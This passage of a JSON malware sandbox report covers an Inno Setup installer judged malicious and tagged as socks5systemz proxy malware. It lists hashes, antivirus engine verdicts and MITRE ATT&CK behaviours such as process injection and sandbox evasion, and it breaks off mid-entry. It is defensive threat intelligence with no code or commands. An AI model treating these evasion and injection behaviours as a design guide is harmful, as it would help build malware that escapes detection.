":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791042239490,"unified_at":"2026-10-03T15:43:59.490Z","metadata":{"hashes":{"sha256":"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","sha1":"9ca6cbb9e7aeee3b76dcf01575a0b107f84ff2cd","md5":"3b28f0993bffc88401414218d443af7c","sha512":"46b82976a79b97506adc3224503a2d19af8aace8313884e19afdb147bd40ba4a9e061c4b571e7e94396f2449aed53c40db9605a685bd5d1454267de506e04ad3","ssdeep":"98304:N/cwsQwFwj7Vcs7tfkOv1oFeA50kMenum8tv/I8g9y8FI66X7jWPxJgma+d358:ZZmKBn7tfxvWFfuenx89/pF6+KpJ8+k","ssdeep_chunks":["98304:N/cwsQw","98304:/cwsQwF","98304:cwsQwFw","98304:wsQwFwj","98304:sQwFwj7","98304:QwFwj7V","98304:wFwj7Vc","98304:Fwj7Vcs","98304:wj7Vcs7","98304:j7Vcs7t","98304:7Vcs7tf","98304:Vcs7tfk","98304:cs7tfkO","98304:s7tfkOv","98304:7tfkOv1","98304:tfkOv1o","98304:fkOv1oF","98304:kOv1oFe","98304:Ov1oFeA","98304:v1oFeA5","98304:1oFeA50","98304:oFeA50k","98304:FeA50kM","98304:eA50kMe","98304:A50kMen","98304:50kMenu","98304:0kMenum","98304:kMenum8","98304:Menum8t","98304:enum8tv","98304:num8tv/","98304:um8tv/I","98304:m8tv/I8","98304:8tv/I8g","98304:tv/I8g9","98304:v/I8g9y","98304:/I8g9y8","98304:I8g9y8F","98304:8g9y8FI","98304:g9y8FI6","98304:9y8FI66","98304:y8FI66X","98304:8FI66X7","98304:FI66X7j","98304:I66X7jW","98304:66X7jWP","98304:6X7jWPx","98304:X7jWPxJ","98304:7jWPxJg","98304:jWPxJgm","98304:WPxJgma","98304:PxJgma+","98304:xJgma+d","98304:Jgma+d3","98304:gma+d35","98304:ma+d358","196608:N/cwsQw","196608:/cwsQwF","196608:cwsQwFw","196608:wsQwFwj","196608:sQwFwj7","196608:QwFwj7V","196608:wFwj7Vc","196608:Fwj7Vcs","196608:wj7Vcs7","196608:j7Vcs7t","196608:7Vcs7tf","196608:Vcs7tfk","196608:cs7tfkO","196608:s7tfkOv","196608:7tfkOv1","196608:tfkOv1o","196608:fkOv1oF","196608:kOv1oFe","196608:Ov1oFeA","196608:v1oFeA5","196608:1oFeA50","196608:oFeA50k","196608:FeA50kM","196608:eA50kMe","196608:A50kMen","196608:50kMenu","196608:0kMenum","196608:kMenum8","196608:Menum8t","196608:enum8tv","196608:num8tv/","196608:um8tv/I","196608:m8tv/I8","196608:8tv/I8g","196608:tv/I8g9","196608:v/I8g9y","196608:/I8g9y8","196608:I8g9y8F","196608:8g9y8FI","196608:g9y8FI6","196608:9y8FI66","196608:y8FI66X","196608:8FI66X7","196608:FI66X7j","196608:I66X7jW","196608:66X7jWP","196608:6X7jWPx","196608:X7jWPxJ","196608:7jWPxJg","196608:jWPxJgm","196608:WPxJgma","196608:PxJgma+","196608:xJgma+d","196608:Jgma+d3","196608:gma+d35","196608:ma+d358","98304:ZZmKBn7","98304:ZmKBn7t","98304:mKBn7tf","98304:KBn7tfx","98304:Bn7tfxv","98304:n7tfxvW","98304:7tfxvWF","98304:tfxvWFf","98304:fxvWFfu","98304:xvWFfue","98304:vWFfuen","98304:WFfuenx","98304:Ffuenx8","98304:fuenx89","98304:uenx89/","98304:enx89/p","98304:nx89/pF","98304:x89/pF6","98304:89/pF6+","98304:9/pF6+K","98304:/pF6+Kp","98304:pF6+KpJ","98304:F6+KpJ8","98304:6+KpJ8+","98304:+KpJ8+k"],"imphash":"884310b1928934402ea6fec1dbd3cf5e","pehash":"14a52baa068c28b0cec8104f84d8bff98b67f281"},"file_info":{"file_name":"file","file_type":["compressed","innosetup"],"file_type_id":"innosetup","file_size":6416610,"entropy":8,"compile_timestamp":"1992-06-19T22:22:17","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1705486130000,"last_seen":1788116287000,"last_multi_scan":1788116287000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":8,"import_count":0,"export_count":0,"embedded_file_count":10,"sections":[{"name":"CODE","virtual_address":"0x1000","virtual_size":37732,"raw_size":37888},{"name":"DATA","virtual_address":"0xb000","virtual_size":588,"raw_size":1024},{"name":"BSS","virtual_address":"0xc000","virtual_size":3720},{"name":".idata","virtual_address":"0xd000","virtual_size":2384,"raw_size":2560},{"name":".tls","virtual_address":"0xe000","virtual_size":8},{"name":".rdata","virtual_address":"0xf000","virtual_size":24,"raw_size":512},{"name":".reloc","virtual_address":"0x10000","virtual_size":2228},{"name":".rsrc","virtual_address":"0x11000","virtual_size":11264,"raw_size":11264}],"section_names":["CODE","DATA","BSS",".idata",".tls",".rdata",".reloc",".rsrc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["downware","injected","installcore","pua","pup","windows-server-utility","commodity","proxy","socks5systemz","criminal"]},"stats":{"av":{"malicious_count":7,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":105},"sandbox_signatures":{"informative_count":301,"suspicious_count":26,"malicious_count":14,"total":341},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.71251931","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.71251931 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005ce05c1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Agent.QJDX-6615","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.UYC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Able to use GrayString API for text rendering"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Imports GetCommandLine API"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Impact","technique":"Disk Content Wipe","attack_id":"T1561.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1561/001","identifiers":[{"type":"informative","value":"Contains ability to format disks"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Contains ability to retrieve system language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Contains ability to modify file system redirection"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops XML files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"},{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"suspicious","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns many processes"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Contains ability to create named pipes for inter-process communication (IPC)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module 